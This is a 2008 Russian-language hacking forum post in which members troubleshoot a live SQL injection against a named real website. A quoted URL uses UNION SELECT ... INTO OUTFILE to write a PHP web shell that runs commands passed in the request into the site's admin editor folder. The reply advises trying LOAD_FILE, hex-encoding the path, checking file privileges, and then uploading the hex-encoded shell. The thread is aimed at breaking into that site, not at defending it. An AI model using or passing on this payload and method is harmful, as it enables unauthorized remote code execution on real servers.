
30.04.2008, 02:39
|
|
Участник форума
Регистрация: 27.10.2006
Сообщений: 205
Провел на форуме: 2298631
Репутация:
380
|
|
Сообщение от neon_fx
Блин нифига понять немогу
есть скуль такого вида
danko.dn.ua/news.php?id=-17+union+select+1,'<?%20system($_GET[''cmd''])%20?>',3+from+mysql.user+into+outfile+''/usr/local/www/data/admin/fckeditor/_samples/php/gif.php/'
пишет Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /usr/local/www/data/news.php
ver-5.1.22-rc
user-root@localhost
http://danko.dn.ua/admin/fckeditor/_samples/php/
попробуй LOAD_FILE если не катит, попробуй в хекс закодировать путь до файла, если опять не катит, значит file_priv отключен, тогда забей, если все ок, то шелл в хекс и заливай.
|
|
|